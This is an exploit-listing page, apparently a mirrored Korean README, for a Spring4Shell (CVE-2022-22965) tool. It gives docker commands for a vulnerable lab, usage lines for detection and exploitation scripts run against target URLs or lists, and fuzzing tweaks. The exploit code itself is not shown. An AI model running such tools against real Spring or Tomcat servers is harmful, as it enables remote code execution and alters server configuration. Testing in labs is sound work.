Exploit for CVE-2022-22965

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NU0L-CVE-2022-22965
# CVE-2022-22965

Spring Framework/CVE-2022-22965

취약점 ID: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691

### 취약점 재현

root@kitploit:~
    
    
    docker pull vulfocus/spring-core-rce-2022-03-29
    docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29
    

![image](https://assets.kitploit.com/production/public/readmes/30098/172b6901e6581d14e6b68c5b167d411048698dfc17958ee531c44e05476d8134.png)

### 취약점 탐지

#### POC

POC를 사용하여 대상을 탐지하는 것을 권장합니다. DNSLOG를 기반으로 취약점 존재 여부를 확인하는 장점이 있으며, tomcat의 로그 구성을 수정하지 않습니다.

root@kitploit:~
    
    
    python3 cve-2022-22965-poc.py -url https://example.com/
    python3 cve-2022-22965-poc.py -file file.txt
    

![image](https://assets.kitploit.com/production/public/readmes/30098/95843ab8bda9dedf94ca70a15619ce96d70abbe82dd0aa97a92a512d4f2d1c96.png)

#### EXP

root@kitploit:~
    
    
    python3 cve-2022-22965.py -url https://example.com/
    python3 cve-2022-22965.py -file file.txt
    

![image](https://assets.kitploit.com/production/public/readmes/30098/9b5fe3ab22e3a79882c70db094b748186991d3e83ea82f95fecdd565eb68bf6b.png)

### 익스플로잇

#### POC

root@kitploit:~
    
    
    python3 cve-2022-22965-poc.py -url https://example.com/
    

![image](https://assets.kitploit.com/production/public/readmes/30098/a841f8d3139369fc6fd84ad8c3ea28106dc70d1879a91adf8fbc2144f87def83.png)

#### EXP

root@kitploit:~
    
    
    python3 cve-2022-22965.py -url http://example.com/
    

![image](https://assets.kitploit.com/production/public/readmes/30098/dcd2da386ffce8b9734a13ca6bbd941cee34fc652679d5e353b44b107e0a7457.png)

#### 퍼징

##### POC

_13번째 줄에 공통 경로 추가_

root@kitploit:~
    
    
    routs = ['env',]
    

##### EXP 퍼징

_12번째 줄에 공통 경로 추가_

root@kitploit:~
    
    
    path = ['root',]
    

  * 경고:*


  * 이 EXP는 실패한 HTTP 요청을 파일에 함께 기록합니다.
  * 이 EXP는 tomcat 구성을 변경합니다.



## ![image](https://assets.kitploit.com/production/public/readmes/30098/90f1816b80a31463e42e4f855ba5fa277b9bfdb5a654db6b17409a34fed100c4.png)

**안전한 학습 목적으로만 사용하십시오. 불법적으로 사용하지 마십시오.**

**안전한 학습 목적으로만 사용하십시오. 불법적으로 사용하지 마십시오.**